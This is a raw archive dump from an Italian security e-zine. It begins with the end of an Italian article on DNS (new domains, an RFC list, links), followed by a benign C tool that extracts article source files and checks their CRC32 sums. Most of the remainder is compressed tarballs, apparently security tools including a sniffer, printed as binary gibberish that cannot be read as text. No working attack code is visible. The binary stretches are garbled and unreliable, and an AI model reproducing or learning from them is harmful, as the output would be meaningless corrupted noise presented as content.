Musei .name - Per usi personali .pro - Professionisti (ragionieri, avvocati, ...) Molti altri domini erano stati sottoposti per l'approvazione, ma sono stati bocciati. La speranza comune e` che la gente dimostri un po' di civilta` con la comparsa dei nuovi domini, ma non so perche` non sono molto fiducioso =) Per informazioni piu` dettagliate potete riferirvi alle pagine della ICANN all'url www.icann.org/tlds . 8.2. Futuro del protocollo Non mi stanchero` mai di ripeterlo, Internet non e` certo finito qui e ogni giorno qualcuno aggiunge qualcosa. Per quanto ci riguarda, il protocollo DNS, pur apparendo stabile e consolidato, e` in continua evoluzione, specialmente per quanto riguarda la sicurezza: ad esempio l'introduzione delle TSIG per autenticare una determinata risposta, utilizzando algoritmi di crittazione che stanno rivestendo la parte del leone in questo periodo :) Anche l'utilizzo che se ne puo` fare, come dimostrato dalle datate rfc sull'utilizzo dei campi TXT o sulle YellowPages ci fa capire che studiando a fondo la struttura di cio` che utiliziamo tutti i giorni e` possibile inventare sempre qualcosa di diverso, insomma, un po' di fantasia =) Le recenti modifiche introdotte dall'ICANN, le lamentele per la gestione dei domini .name da parte di societa` non consolidate, da una parte sembrano lecite, dall'altro ci permettono di vedere come non ci sia il monopolio chiuso, ma che si puo` sempre sperare in una collaborazione finalizzata al bene comune. Quindi, vada come vada, l'importante e` sviluppare qualcosa di utile e, voglia il Cielo, sperare che chi mantiene l'enorme potere dei domini sappia amministrarlo bene. 9. Resources Queste sono solo *alcune* delle cose che ci sono in giro riguardanti i DNS, sono tutte piu` o meno interessanti, mi raccomando leggetele, cosi` magari capite qualcosa di piu` =) 9.1. RFCs 0819 Domain naming convention for Internet user applications. Z. Su, J. Postel. Aug-01-1982. (Format: TXT=35314 bytes) (Status: UNKNOWN) 0881 Domain names plan and schedule. J. Postel. Nov-01-1983. (Format: TXT=23490 bytes) (Updated by RFC0897) (Status: UNKNOWN) 0897 Domain name system implementation schedule. J. Postel. Feb-01-1984. (Format: TXT=15683 bytes) (Updates RFC0881) (Updated by RFC0921) (Status: UNKNOWN) 0920 Domain requirements. J. Postel, J.K. Reynolds. Oct-01-1984. (Format: TXT=27823 bytes) (Status: UNKNOWN) 0921 Domain name system implementation schedule - revised. J. Postel. Oct-01-1984. (Format: TXT=23318 bytes) (Updates RFC0897) (Status: UNKNOWN) 0952 DoD Internet host table specification. K. Harrenstien, M.K. Stahl, E.J. Feinler. Oct-01-1985. (Format: TXT=12388 bytes) (Obsoletes RFC0810) (Status: UNKNOWN) 0974 Mail routing and the domain system. C. Partridge. Jan-01-1986. (Format: TXT=18581 bytes) (Also STD0014) (Status: STANDARD) 1032 Domain administrators guide. M.K. Stahl. Nov-01-1987. (Format: TXT=29454 bytes) (Status: UNKNOWN) 1033 Domain administrators operations guide. M. Lottor. Nov-01-1987. (Format: TXT=37263 bytes) (Status: UNKNOWN) 1034 Domain names - concepts and facilities. P.V. Mockapetris. Nov-01-1987. (Format: TXT=129180 bytes) (Obsoletes RFC0973, RFC0882, RFC0883) (Obsoleted by RFC1065, RFC2308) (Updated by RFC1101, RFC1183, RFC1348, RFC1876, RFC1982, RFC2065, RFC2181, RFC2308, RFC2535) (Also STD0013) (Status: STANDARD) 1035 Domain names - implementation and specification. P.V. Mockapetris. Nov-01-1987. (Format: TXT=125626 bytes) (Obsoletes RFC0973, RFC0882, RFC0883) (Updated by RFC1101, RFC1183, RFC1348, RFC1876, RFC1982, RFC1995, RFC1996, RFC2065, RFC2181, RFC2136, RFC2137, RFC2308, RFC2535) (Also STD0013) (Status: STANDARD) 1101 DNS encoding of network names and other types. P.V. Mockapetris. Apr-01-1989. (Format: TXT=28677 bytes) (Updates RFC1034, RFC1035) (Status: UNKNOWN) 1122 Requirements for Internet hosts - communication layers. R.T. Braden. Oct-01-1989. (Format: TXT=295992 bytes) (Also STD0003) (Status: STANDARD) 1123 Requirements for Internet hosts - application and support. R.T. Braden. Oct-01-1989. (Format: TXT=245503 bytes) (Updates RFC0822) (Updated by RFC2181) (Also STD0003) (Status: STANDARD) 1178 Choosing a name for your computer. D. Libes. Aug-01-1990. (Format: TXT=18472 bytes) (Also FYI0005) (Status: INFORMATIONAL) 1183 New DNS RR Definitions. C.F. Everhart, L.A. Mamakos, R. Ullmann, P.V. Mockapetris. Oct-01-1990. (Format: TXT=23788 bytes) (Updates RFC1034, RFC1035) (Status: EXPERIMENTAL) 1464 Using the Domain Name System To Store Arbitrary String Attributes. R. Rosenbaum. May 1993. (Format: TXT=7953 bytes) (Status: EXPERIMENTAL) 1480 The US Domain. A. Cooper, J. Postel. June 1993. (Format: TXT=100556 bytes) (Obsoletes RFC1386) (Status: INFORMATIONAL) 1535 A Security Problem and Proposed Correction With Widely Deployed DNS Software. E. Gavron. October 1993. (Format: TXT=9722 bytes) (Status: INFORMATIONAL) 1536 Common DNS Implementation Errors and Suggested Fixes. A. Kumar, J. Postel, C. Neuman, P. Danzig, S. Miller. October 1993. (Format: TXT=25476 bytes) (Status: INFORMATIONAL) 1591 Domain Name System Structure and Delegation. J. Postel. March 1994. (Format: TXT=16481 bytes) (Status: INFORMATIONAL) 1611 DNS Server MIB Extensions. R. Austein, J. Saperia. May 1994. (Format: TXT=58700 bytes) (Status: PROPOSED STANDARD) 1612 DNS Resolver MIB Extensions. R. Austein, J. Saperia. May 1994. (Format: TXT=61382 bytes) (Status: PROPOSED STANDARD) 1706 DNS NSAP Resource Records. B. Manning, R. Colella. October 1994. (Format: TXT=19721 bytes) (Obsoletes RFC1637) (Status: INFORMATIONAL) 1713 Tools for DNS debugging. A. Romao. November 1994. (Format: TXT=33500 bytes) (Also FYI0027) (Status: INFORMATIONAL) 1794 DNS Support for Load Balancing. T. Brisco. April 1995. (Format: TXT=15494 bytes) (Status: INFORMATIONAL) 1876 A Means for Expressing Location Information in the Domain Name System. C. Davis, P. Vixie, T. Goodwin, I. Dickinson. January 1996. (Format: TXT=29631 bytes) (Updates RFC1034, RFC1035) (Status: EXPERIMENTAL) 1886 DNS Extensions to support IP version 6. S. Thomson, C. Huitema. December 1995. (Format: TXT=6424 bytes) (Status: PROPOSED STANDARD) 1912 Common DNS Operational and Configuration Errors. D. Barr. February 1996. (Format: TXT=38252 bytes) (Obsoletes RFC1537) (Status: INFORMATIONAL) 1918 Address Allocation for Private Internets. Y. Rekhter, B. Moskowitz, D. Karrenberg, G. J. de Groot & E. Lear. February 1996. (Format: TXT=22270 bytes) (Obsoletes RFC1627, RFC1597) (Also BCP0005) (Status: BEST CURRENT PRACTICE) 1956 Registration in the MIL Domain. D. Engebretson & R. Plzak. June 1996. (Format: TXT=2923 bytes) (Status: INFORMATIONAL) 1982 Serial Number Arithmetic. R. Elz & R. Bush. August 1996. (Format: TXT=14440 bytes) (Updates RFC1034, RFC1035) (Status: PROPOSED STANDARD) 1995 Incremental Zone Transfer in DNS. M. Ohta. August 1996. (Format: TXT=16810 bytes) (Updates RFC1035) (Status: PROPOSED STANDARD) 1996 A Mechanism for Prompt Notification of Zone Changes (DNS NOTIFY). P. Vixie. August 1996. (Format: TXT=15247 bytes) (Updates RFC1035) (Status: PROPOSED STANDARD) 2010 Operational Criteria for Root Name Servers. B. Manning, P. Vixie. October 1996. (Format: TXT=14870 bytes) (Status: INFORMATIONAL) 2052 A DNS RR for specifying the location of services (DNS SRV). A. Gulbrandsen, P. Vixie. October 1996. (Format: TXT=19257 bytes) (Status: EXPERIMENTAL) 2104 HMAC: Keyed-Hashing for Message Authentication. H. Krawczyk, M. Bellare, R. Canetti. February 1997. (Format: TXT=22297 bytes) (Status: INFORMATIONAL) 2136 Dynamic Updates in the Domain Name System (DNS UPDATE). P. Vixie, Ed., S. Thomson, Y. Rekhter, J. Bound. April 1997. (Format: TXT=56354 bytes) (Updates RFC1035) (Status: PROPOSED STANDARD) 2137 Secure Domain Name System Dynamic Update. D. Eastlake. April 1997. (Format: TXT=24824 bytes) (Updates RFC1035) (Status: PROPOSED STANDARD) 2146 U.S. Government Internet Domain Names. Federal Networking Council. May 1997. (Format: TXT=26564 bytes) (Obsoletes RFC1816) (Status: INFORMATIONAL) 2163 Using the Internet DNS to Distribute MIXER Conformant Global Address Mapping (MCGAM). C. Allocchio. January 1998. (Format: TXT=58789 bytes) (Obsoletes RFC1664) (Status: PROPOSED STANDARD) 2168 Resolution of Uniform Resource Identifiers using the Domain Name System. R. Danie1, M. Mealling. June 1997. (Format: TXT=46528 bytes) (Status: EXPERIMENTAL) 2181 Clarifications to the DNS Specification. R. Elz, R. Bush. July 1997. (Format: TXT=36989 bytes) (Updates RFC1034, RFC1035, RFC1123) (Updated by RFC2535) (Status: PROPOSED STANDARD) 2182 Selection and Operation of Secondary DNS Servers. R. Elz, R. Bush, S. Bradner, M. Patton. July 1997. (Format: TXT=27456 bytes) (Also BCP0016) (Status: BEST CURRENT PRACTICE) 2219 Use of DNS Aliases for Network Services. M. Hamilton, R. Wright. October 1997. (Format: TXT=17858 bytes) (Also BCP0017) (Status: BEST CURRENT PRACTICE) 2230 Key Exchange Delegation Record for the DNS. R. Atkinson. October 1997. (Format: TXT=25563 bytes) (Status: INFORMATIONAL) 2247 Using Domains in LDAP/X.500 Distinguished Names. S. Kille, M. Wahl, A. Grimstad, R. Huber, S. Sataluri. January 1998. (Format: TXT=12411 bytes) (Status: PROPOSED STANDARD) 2308 Negative Caching of DNS Queries (DNS NCACHE). M. Andrews. March 1998. (Format: TXT=41428 bytes) (Obsoletes RFC1034) (Updates RFC1034, RFC1035) (Status: PROPOSED STANDARD) 2317 Classless IN-ADDR.ARPA delegation. H. Eidnes, G. de Groot, P. Vixie. March 1998. (Format: TXT=17744 bytes) (Also BCP0020) (Status: BEST CURRENT PRACTICE) 2345 Domain Names and Company Name Retrieval. J. Klensin, T. Wolf, G. Oglesby. May 1998. (Format: TXT=29707 bytes) (Status: EXPERIMENTAL) 2352 A Convention For Using Legal Names as Domain Names. O. Vaughan. May 1998. (Format: TXT=16354 bytes) (Obsoletes RFC2240) (Status: INFORMATIONAL) 2373 IP Version 6 Addressing Architecture. R. Hinden, S. Deering. July 1998. (Format: TXT=52526 bytes) (Obsoletes RFC1884) (Status: PROPOSED STANDARD) 2374 An IPv6 Aggregatable Global Unicast Address Format. R. Hinden, M. O'Dell, S. Deering. July 1998. (Format: TXT=25068 bytes) (Obsoletes RFC2073) (Status: PROPOSED STANDARD) 2375 IPv6 Multicast Address Assignments. R. Hinden, S. Deering. July 1998. (Format: TXT=14356 bytes) (Status: INFORMATIONAL) 2377 Naming Plan for Internet Directory-Enabled Applications. A. Grimstad, R. Huber, S. Sataluri, M. Wahl. September 1998. (Format: TXT=38274 bytes) (Status: INFORMATIONAL) 2517 Building Directories from DNS: Experiences from WWWSeeker. R. Moats, R. Huber. February 1999. (Format: TXT=14001 bytes) (Status: INFORMATIONAL) 2535 Domain Name System Security Extensions. D. Eastlake. March 1999. (Format: TXT=110958 bytes) (Updates RFC2181, RFC1035, RFC1034) (Status: PROPOSED STANDARD) 2536 DSA KEYs and SIGs in the Domain Name System (DNS). D. Eastlake. March 1999. (Format: TXT=11121 bytes) (Status: PROPOSED STANDARD) 2537 RSA/MD5 KEYs and SIGs in the Domain Name System (DNS). D. Eastlake. March 1999. (Format: TXT=10810 bytes) (Status: PROPOSED STANDARD) 2538 Storing Certificates in the Domain Name System (DNS). D. Eastlake, O. Gudmundsson. March 1999. (Format: TXT=19857 bytes) (Status: PROPOSED STANDARD) 2539 Storage of Diffie-Hellman Keys in the Domain Name System (DNS). D. Eastlake. March 1999. (Format: TXT=21049 bytes) (Status: PROPOSED STANDARD) 2540 Detached Domain Name System (DNS) Information. D. Eastlake. March 1999. (Format: TXT=12546 bytes) (Status: EXPERIMENTAL) 2541 DNS Security Operational Considerations. D. Eastlake. March 1999. (Format: TXT=14498 bytes) (Status: INFORMATIONAL) 2553 Basic Socket Interface Extensions for IPv6. R. Gilligan, S. Thomson, J. Bound, W. Stevens. March 1999. (Format: TXT=89215 bytes) (Obsoletes RFC2133) (Status: INFORMATIONAL) 2606 Reserved Top Level DNS Names. D. Eastlake, A. Panitz. June 1999. (Format: TXT=8008 bytes) (Also RFC2606) (Status: BEST CURRENT PRACTICE) 2671 Extension Mechanisms for DNS (EDNS0). P. Vixie. August 1999. (Format: TXT=15257 bytes) (Status: PROPOSED STANDARD) 2672 Non-Terminal DNS Name Redirection. M. Crawford. August 1999. (Format: TXT=18321 bytes) (Status: PROPOSED STANDARD) 2673 Binary Labels in the Domain Name System. M. Crawford. August 1999. (Format: TXT=12379 bytes) (Status: PROPOSED STANDARD) 9.2. URLs Documenti: - http://www.pkcrew.org/docs/DNSjam.txt - This doc :) - http://www.isc.org/products/BIND - ISC bind and docs - http://www.faqs.org/rfcs - Per trovare tutti gli rfc che volete =) Enti: - http://www.icann.org - Internet Corporation of Assigned Names and Numbers - http://www.iana.org - Internet Assigned Numbers Authority - http://www.internic.net - InterNIC website - http://www.networksolutions.com - NetSol archives - http://www.ripe.net - Mantainer europeo - http://www.nic.it - NIC italiano 9.3. HOWTOs && man - Linux-HOWTOs/DNS-HOWTO by Nicolai Langfeldt janl@math.uio.noa - named(8), named.conf(5), host(1), dig(1) - gethostbyname(3), getaddrinfo(3) 9.4. Books TCP/IP Illustrated, Chapter 1 - The protocols by W. Richard Stevens (tnx to asynchro :) 9.5. About the Author Beh, intanto grazie per aver letto tutto :) Spero di avervi chiarito un po' le idee per quanto riguarda i dns e affini, o almeno spero di avervi stuzzicato un po' la sete di conoscenza e la curiosita`. Per qualsiasi segnalazione, richiesta, commento, insulto o proposta di matrimonio, sono reperibile qua e la` su IRC, e all'indirizzo . bye bye =) t.R. ============================================================================== --------------------------------[ EOF 18/18 ]--------------------------------- ============================================================================== BFi-10/snipII.c0100644000175000017500000001746507355704712013241 0ustar smastersmaster/* * Name: SNiP II * Date: Tue Aug 15 14:04:52 2000 * Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ] * * SoftProject 2000 - Digital Sekurity for Y2k * Sikurezza.org - Italian Security MailingList * * COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by * Poul-Henning Kamp but you can give me in return a coffee. * * Tested on: FreeBSD 4.0-RELEASE FreeBSD 4.0-RELEASE #45: Sat Au i386 * * Snip for definition is coded during alcohol abuse ... This source can't have * a good style, logical parts or sense... I apologize... snip! ;) * */ #include #include #include #include #include #include #include #define BFIART "BFi" #define DIRNAME "bfisrc" #define BFISEP "<-| " #define BFIEND "<-X->" #define BFISEP_LEN strlen(BFISEP) #define BFIEND_LEN strlen(BFIEND) #define BUF_SIZE 1024 #ifndef S_ISDIR # ifdef S_IFDIR # define S_ISDIR(i) (((i) & S_IFMT) == S_IFDIR) # else # define S_ISDIR(i) (((i) & 0170000) == 0040000) # endif #endif #ifndef S_ISREG # ifdef S_IFREG # define S_ISREG(i) (((i) & S_IFMT) == S_IFREG) # else # define S_ISREG(i) (((i) & 0170000) == 0100000) # endif #endif int usage (char *cmd); void dir2file (char *dirname); void snip (char *filename); int checktype (char *name); void createsrc (FILE *in, FILE *out); int makedir (const char *dirname); unsigned long checkcrc (FILE *fp); extern char *optarg; struct { int st_snipped; int st_directory; } snipstat; int main(int narg, char **arg) { return ( (narg!=2) ? usage(arg[0]) : checktype(arg[1]) ); } int usage(char *cmd) { printf( "\nSNiPv2\n" "Usage: %s dir-or-file\n\n", cmd); return 0; } int checktype(char *name) { struct stat chk; bzero(&snipstat, sizeof snipstat); if (stat(name, &chk)) { printf("Hmm %s doesn't exist\n", name); exit(0); } if (S_ISDIR(chk.st_mode)) dir2file(name); if (S_ISREG(chk.st_mode)) snip(name); printf("\n%d snipped file\n", snipstat.st_snipped); printf("%d directory created\n", snipstat.st_directory); return 1; } void dir2file(char *dirname) { DIR *dp; struct dirent *de; if (!(dp=opendir(dirname))) { perror("[dir2file] opendir"); exit(0); } if (chdir(dirname) == -1) { perror("[dir2file] chdir1"); exit(0); } while ((de=readdir(dp))) { printf("[%s]: ", de->d_name); switch(de->d_type) { case DT_FIFO: case DT_BLK: case DT_LNK: case DT_DIR: case DT_SOCK: printf("skipping\n"); continue; } putchar('\n'); if (strstr(de->d_name, BFIART)) { snip(de->d_name); } else printf("\tnot found\n"); } closedir(dp); } void snip(char *filename) { FILE *in, *out; char buf[BUF_SIZE]; static int passed = 0; if (!passed) { makedir(DIRNAME); passed = 1; } if (!(in=fopen(filename,"r"))) { perror("[snip] fopen()"); exit(0); } chdir(DIRNAME); while (fgets(buf, BUF_SIZE, in)) { if (!strncmp(buf, BFISEP, BFISEP_LEN)) { char *ptr; buf[strlen(buf) - 1] = 0; /* * create directories like in extract */ if ((ptr = strchr(buf + BFISEP_LEN, '/'))) { while(ptr) { *ptr = 0; if(makedir(buf + BFISEP_LEN) != -1) snipstat.st_directory++; *ptr = '/'; ptr = strchr(ptr + 1, '/'); } } ptr = strchr(buf + BFISEP_LEN, ' '); /* * create file */ *ptr = 0; if (!(out = fopen(buf + BFISEP_LEN, "wb+"))) { perror("[snip] fopen(outfile)\n"); exit(0); } printf("\tfilename [%s] ", buf + BFISEP_LEN); createsrc(in, out); *ptr = ' '; /* * check crc */ if ((ptr = strstr(ptr, "crc32: "))) { char *ptr_crc; u_long crc, gencrc; ptr += strlen("crc32: "); if ((ptr_crc = strchr(ptr, ' '))) { *ptr_crc = 0; crc = strtoul(ptr, NULL, 10); gencrc = checkcrc(out); if(crc == gencrc) printf(" CRC32 ok"); else printf(" CRC32 error: %lu", gencrc); *ptr_crc = ' '; } else { printf("no end of crc in snip hdr\n"); exit(0); } } putchar('\n'); fclose(out); } } chdir(".."); fclose(in); } void createsrc(FILE *in, FILE *out) { char buf[BUF_SIZE]; snipstat.st_snipped++; while (fgets(buf, BUF_SIZE, in) && strncmp(buf, BFIEND, BFIEND_LEN)) fprintf(out, "%s", buf); } int makedir(const char *dirname) { return (mkdir(dirname, 0755)); } static const u_int32_t crctab[256] = { 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d, }; unsigned long checkcrc(FILE *fp) { register unsigned long crc; int c; crc = 0xFFFFFFFF; if (fseek(fp, 0, SEEK_SET) == -1) { perror("fseek"); exit(0); } while( (c = getc(fp)) != EOF ) crc = ((crc >> 8) & 0x00FFFFFF) ^ crctab[(crc ^ c) & 0xFF]; return (crc ^ 0xFFFFFFFF); } BFi-10/attachment/0042755000175000017500000000000007352335340014014 5ustar smastersmasterBFi-10/attachment/Eleonora0.2.tar.gz0100644000175000017500000001330507352330767017134 0ustar smastersmaster;Πk~ozݭAI C5L$ucƞ$S7Iy<.?4ѽ`W]Gv`gǿz[['ꆔN&jO0LE(b^)`=m¿m3KN{Iή;AMf~Fj*eo05~ON֦4yvfOx{ˁizzѷS2kSC#h$Y"M̆.LB)یGv܌o6nc-gS_:|Cg(.ܱ\jns7p6^c,n=;WBΆu÷_>GY1q'74g)PJLsn2\Ib'7I{`8+5'ic]`I:,Ãww?zјMk2T{Ͽcj#X5oȮg!rgt+#d=?Os?HmvphNbǟ@5_oM2i}~lԄp8;37͚)SÃ?^RqÔuz5lg,[(1 tF< .!Ù .˂Sp{ <2ѳtc`HDȂnY8B ~<-U+V|"^n"ͼ]Ø,$@dRN_GWM8 1l!".4Ά#!>@fyzIYi̥ Re FׯZw=0Ξt{EE"""E<&vm&>֔K#WT!өd/yx3r $4JaNn0BsC.cI 6Lo.yIA߅zar:%%o1P[4[.{<.zAU6,(`l: 9XIpB1487:(wvFLZsc4PS0chؕ=U&y7d&4A(d=&, 5xf`ywF~[o1ƍfS*Âg-*^ =`E@HF_{F`eG ~"z5lR\|Bkۚ!IXח+ח{V]z[8V|Z0؀V ?mCn. * bH5苖 [wnvQA4]1s5A}$r^@ #`ݫ>8?,& T&I9KḆʴMv_T*UN4(Gѧ;P D.ۗ6+6#ʝ cw(aFh;3=4Ȝ eh'ri*kuB7AYrޡ4-^08_sGnHNT(d\ {LLe>|V<gxdOj,w;ncJ#cy=*Eȫޙ1R7,| [}jWc:fV*+"6=2sjIWҞqiU[r~QAl0||jj545 hcJ^Y4Mc^9w:2#`g J<ˎqs\3Fܴ9l*/$1VIJ+RۘF%hD|P)?HV QV[Zw߭cC Ĺm=s?sǣE)>{£vy[>d!Q$S?F rUDXYQ.+ sY.z.L\yv5^Bj9xf숭_OXkiw3{1MLxN!-͊u,j[RВy"wZ,"*4-aA"sC*u+:H 2k ,ҡlꐔ#ZKHFD O&HgJ;r*L}osniaq8&Ϯ-Z ruLkRALcinrsȁ5NT2G@`!yV,d.u]6h_"6kR/BLrM ꘜXwy?\ۻ %^3ƆCULv[y7&,P[q/&t9f#fY|qS'&ʆ`!t0CD9"[^t0NW&/by}]+Lڒb8bgپ]3^?{8 67)v4m:l &k<h$|uZoo+ G}C_ސ$ YwtՖkuvgHcszgcnX;N!ä#()xͶ3wn2'Ḅٍ+i,n|gs¾k:1sx".1<^>m-{-j;-p^`S6fcW NO "k0 Nn`Eo@.ط?ƻX]=RV7>*tX3 Cp y)fQXg|?x.Gr?\忋\dzZd}}lIlwMXW %CJO&]|0*"L;s.;/NPyAj^N *)CŶAu>(B r!ty(A 1(0Lșn!9}oNث/G0 cgp]BlSc/gjLy EӬF,f棌O֊ٜ5QeXvc֚']q~Elo #F_ ͂M$>)w|77a(Ij]o雼d,h6vu=i,F/  0Q#0W%5Q_B%"(Bяr<Q90s13KuΞ{D:?Jj/ [9/nk⛙n4?EN~&ZrwV-_-Y%ZXFlWr3ώ~n`37Eo?H0%e6BP oVKs+cv߆;; ~zHӗD0ѫ= ;4^, jp 홝a%ۙ?xpԺ~j+ԥNzV,Ӳ؞b{ZxikO罹t`jTν$՗$[6ߘU+E(Dgb`VvV5iףYQh ݽ4.r!dPks#|ڤ~/Y-wV+q*WQ/ǔuVW K`<9\nmnR7gt.yGqj1G5ٓ*Ml7LdM-6Qlbdy?|B-4>v^cʀv5lyK|ߒ)+Zu cIDN'I P.ǔE`c=w6 }pI r'3.u"fzh:e'RFP~EX}(bPbtm&%<,@T&O^eBex/Gb]|- 'B۬6cKv {.jT`3o0&1m\FǭM} hF>zY4>>i6b <;YAU{,/<~M#v7x$s0CP=Ciend e-/px`; \ "&2畱9)&C_>Ev*a=!s@$w^C!OhVR\"i7WU/I+c^֖c›m3?+c59G *Yyܾӥ{JURT*UJURT*UJURT*UJURT*UJURTV]BFi-10/attachment/Moj0-0.1.tar.gz0100644000175000017500000000420007352325342016234 0ustar smastersmaster⪩;kSH2__!vU\!56ePdK%XQi$_!#{uwKj{{t&?ʵfٯ[V}wnm:^j흝mͭZ}B&+U{P>Aȟ^雧v olVj6>O;ۋDw,kbܷr([>SYI03$- #C(>+\3J#R *ތDX^,zOĐ'=^ݝ_\cUa6Y ,Kz ,a-- FHCDLB\J!C*$ 0+rlĩ#<,VyXOj;fE Kb,<)^'0nP:O2GSu]-?(V-QK)f25&vߢIڊ ڐłcv\.0tq[ɽO+}9"}Rڲ Z ,7鷁V.fI 5oF.vi,v?뵼nO._ǺTwvXߌ@p}Jʝ  4a"aX;~ ?'Ei!#e4Dpx>!ObD '5Jok¸ğ@Ď~rSE] ɓX@`ˁW.dݐU}`#q !+!k_1fǍELP_#֚Ls?WL(͍$4EӃR&KdKLvVkGi_qunLlpH}yׅ4&,9IlV LV-&ӼB TUܳ7(F8?eT_aPnaue; U&{4x~8eMR`]$>r|$;p1ou+{B(-1]ZxMTDL] 2 %x5!00o )m3FR' ktF?r6l7ezu.tMx[JPgʹ,jx};]yޞ*tB[|x|t`fa;x YX$mȡ%Xy++?-~䘇xxCK?Uzzzz2(BFi-10/attachment/SNiFf-0.3.tar.gz0100644000175000017500000042265507352325365016425 0ustar smastersmaster;]{{FҧM m.:bVs$E8wsFw1`t۵63s~svns,]jzR<=+|`OX)WX:?YX>;/bR\-Gǒ SZ򝱐 S^EK>w;ҭbVD|n\+AH1{V8N@m-yOm;ULsIDRUE_ϒfBdw<|q/l<"xZ0V߸jׯIBN߻?,XHfhSMհ>-ǷGeXz65)5v=Y2}iv뒲:-ʧXZ™I;X]gDrϵ&-dr MN/xox|̧' -߈Х"8bIoES'el AV7ois2Y{I)ZM-$޸{E]Mv~v]X^[C{z]c6KN?[Ihl{XPǺ!]K<$`ףOcϦG =|G/uh Ӏ'p c]*J>:("mQC!&0: ' %Y)҂LCo*L-ĤhA0{8Q/$MÀArH4]M ]_ЏNlc ' ()VNTR}VZU]OdCiz:/3'.EVXQmxF&g.^=T+}s4N'?f&xy]v!.nRm>>{7r%P\AZ p,VY*a@TCPJ&HYn*8赆1g2Wd`>5FH}s19)ܱ;#v{v6;9yk0Tqɿy z_PfKqJ?U{cKKxe9{8UBAco7 ,Tu.˗%19[cܕGAYx0i ӡ +lF7 Ż'olEö\$F?kXY{ҙl׌LwOWt!bW$|_jS9Y5di4tb`:q0,ll/4y8STjgb-f]mך;'/W$E{  KrÝWV+T0(Q =|.g_C8s<D*< <"v n,Aw kƫ~@hi%Kσ gL0(mb6wc}"۳Oml鉷6~ 